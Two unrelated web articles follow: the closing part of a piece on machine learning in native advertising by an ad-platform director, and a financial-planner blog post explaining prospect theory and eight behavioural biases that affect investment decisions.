By leveraging the billions of historical data points from digital campaigns, predictions are made for future campaigns and then real-time performance data is applied to revise. This is not a one off process. The technology is constantly taking insights from user behavior and feeding them back into the algorithms, enabling personalized content experiences at scale.

The advertising industry has faced major challenges in relevancy for consumers and brand safety for marketers. Lack of relevancy in advertising has led to the advent of ad blockers and poor engagement, causing brands to be even more unsure of where their budgets are going and how users are responding to content.  The controversy around brand safety further calls into question not only how budgets are being spent, but potential negative consequences for a brand’s image.

Machine learning holds the promise of overcoming these challenges by delivering better, smarter ads to engaged consumers and restoring trust for brands in advertising spend and the technology that executes content and media.

Kris Kalish is the Director of Optimization at Bidtellect, a native advertising platform.

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One of the biggest challenges to our own success can be our own instinctive behavioral biases.

In previously discussing behavioral finance, I focused on four common personality types of investors.

Now let’s focus on the common behavioral biases that affect our investment decisions.

The concept of behavioral finance helps us recognize our natural biases that lead us to making illogical and often irrational decisions when it comes to investments and finances.

A prime example of this is the concept of prospect theory, which is the idea that as humans, our emotional response to perceived losses is different than to that of perceived gains.

According to prospect theory, losses for an investor feel twice as painful as gains feel good. Some investors worry more about the marginal percentage change in their wealth than they do about the amount of their wealth. This thought process is backwards and can cause investors to fixate on the wrong issues.

The psychology of investing biases

Behavioral biases hit us all as investors and can vary depending upon our investor personality type. These biases can be cognitive, illustrated by a tendency to think and act in a certain way or follow a rule of thumb. Biases can also be emotional: a tendency to take action based on feeling rather than fact.

Pulled from a study by H. Kent Baker and Victor Ricciardi that looks at how biases impact investor behavior, here are eight biases that can affect investment decisions:

  • Anchoring or Confirmation Bias: First impressions can be hard to shake because we tend to selectively filter, paying more attention to information that supports our opinions while ignoring the rest. Likewise, we often resort to preconceived opinions when encountering something — or someone — new. An investor whose thinking is subject to confirmation bias would be more likely to look for information that supports his or her original idea about an investment rather than seek out information that contradicts it.
  • Regret aversion bias: Also known as loss aversion, regret aversion describes wanting to avoid the feeling of regret experienced after making a choice with a negative outcome. Investors who are influenced by anticipated regret take less risk because it lessens the potential for poor outcomes. Regret aversion can explain an investor’s reluctance to sell losing investments to avoid confronting the fact that they have made poor decisions. (For more, see: Understanding Investor Behavior.)
  • Disposition effect bias: This refers to a tendency to label investments as winners or losers. Disposition effect bias can lead an investor to hang onto an investment that no longer has any upside or sell a winning investment too early to make up for previous losses. This is harmful because it can increase capital gains taxes and can reduce returns even before taxes.
  • Hindsight bias: Another common perception bias is hindsight bias, which leads an investor to believe after the fact that the onset of a past event was predictable and completely obvious whereas, in fact, the event could not have been reasonably predicted.
  • Familiarity bias: This occurs when investors have a preference for familiar or well-known investments despite the seemingly obvious gains from diversification. The investor may feel anxiety when diversifying investments between well known domestic securities and lesser known international securities, as well as between both familiar and unfamiliar stocks and bonds that are outside of his or her comfort zone. This can lead to suboptimal portfolios with a greater a risk of losses.
  • Self-attribution bias: Investors who suffer from self-attribution bias tend to attribute successful outcomes to their own actions and bad outcomes to external factors. They often exhibit this bias as a means of self-protection or self-enhancement. Investors affected by self-attribution bias may become overconfident. (For more, see: The Importance of Diversification.)
  • Trend-chasing bias: Investors often chase past performance in the mistaken belief that historical returns predict future investment performance. This tendency is complicated by the fact that some product issuers may increase advertising when past performance is high to attract new investors. Research demonstrates, however, that investors do not benefit because performance usually fails to persist in the future.
  • Worry: The act of worrying is a natural — and common — human emotion. Worry evokes memories and creates visions of possible future scenarios that alter an investor’s judgment about personal finances. Anxiety about an investment increases its perceived risk and lowers the level of risk tolerance. To avoid this bias, investors should match their level of risk tolerance with an appropriate asset allocation strategy.

Avoiding behavioral mistakes

By understanding the common behavioral mistakes investors make, a quality financial planner will aim to help clients take the emotion out of investing by creating a tactical, strategic investment plan customized to the individual. Some examples of strategies that help with this include:

The most important aspect of behavioral finance is peace of mind. By having a thorough understanding of your risk appetite, the purpose of each investment in your portfolio and the implementation plan of your strategy, it allows you to feel much more confident about your investment plan and be less likely to make common behavioral mistakes.

Working with a financial planner can help investors recognize and understand their own individual behavioral biases and predispositions, and thus be able to avoid making investment decisions based entirely on those biases. (For related reading, see: How to Find a New Financial Advisor Who’s Right for You.)

The views expressed in this blog post are as of the date of the posting, and are subject to change based on market and other conditions. This blog contains certain statements that may be deemed forward-looking statements. Please note that any such statements are not guarantees of any future performance and actual results or developments may differ materially from those projected.

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